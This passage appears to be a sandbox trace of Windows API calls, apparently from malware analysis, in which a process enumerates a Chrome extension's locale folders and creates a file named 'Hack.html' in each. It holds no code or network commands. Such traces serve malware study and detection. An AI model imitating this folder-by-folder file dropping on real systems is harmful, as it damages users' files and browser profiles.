SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.954] GetFileType (hFile=0x174) returned 0x1 [0075.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.955] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu", lpFilePart=0x0) returned 0x92 [0075.955] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\", lpFilePart=0x0) returned 0x93 [0075.955] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.955] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.955] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.955] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.955] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu", lpFilePart=0x0) returned 0x92 [0075.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\", lpFilePart=0x0) returned 0x93 [0075.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.956] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.956] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.956] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.956] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.957] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.957] GetFileType (hFile=0x174) returned 0x1 [0075.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.957] GetFileType (hFile=0x174) returned 0x1 [0075.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi", lpFilePart=0x0) returned 0x92 [0075.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\", lpFilePart=0x0) returned 0x93 [0075.959] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.960] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.960] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.960] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.960] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi", lpFilePart=0x0) returned 0x92 [0075.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\", lpFilePart=0x0) returned 0x93 [0075.960] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.961] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.961] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.961] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.961] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.961] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.962] GetFileType (hFile=0x174) returned 0x1 [0075.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.962] GetFileType (hFile=0x174) returned 0x1 [0075.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr", lpFilePart=0x0) returned 0x92 [0075.963] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\", lpFilePart=0x0) returned 0x93 [0075.963] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.964] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.964] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.964] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.964] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr", lpFilePart=0x0) returned 0x92 [0075.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\", lpFilePart=0x0) returned 0x93 [0075.964] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.964] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.965] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.965] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.965] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.965] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.966] GetFileType (hFile=0x174) returned 0x1 [0075.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.966] GetFileType (hFile=0x174) returned 0x1 [0075.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.968] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu", lpFilePart=0x0) returned 0x92 [0075.968] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\", lpFilePart=0x0) returned 0x93 [0075.968] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.969] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.969] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.969] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.969] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu", lpFilePart=0x0) returned 0x92 [0075.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\", lpFilePart=0x0) returned 0x93 [0075.970] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.970] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.970] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.970] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.970] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.971] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.971] GetFileType (hFile=0x174) returned 0x1 [0075.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.972] GetFileType (hFile=0x174) returned 0x1 [0075.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.973] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id", lpFilePart=0x0) returned 0x92 [0075.973] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\", lpFilePart=0x0) returned 0x93 [0075.973] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.973] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.973] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.973] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.973] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id", lpFilePart=0x0) returned 0x92 [0075.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\", lpFilePart=0x0) returned 0x93 [0075.974] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.974] FindNextFileW (in: hFindFile=0x59a328, 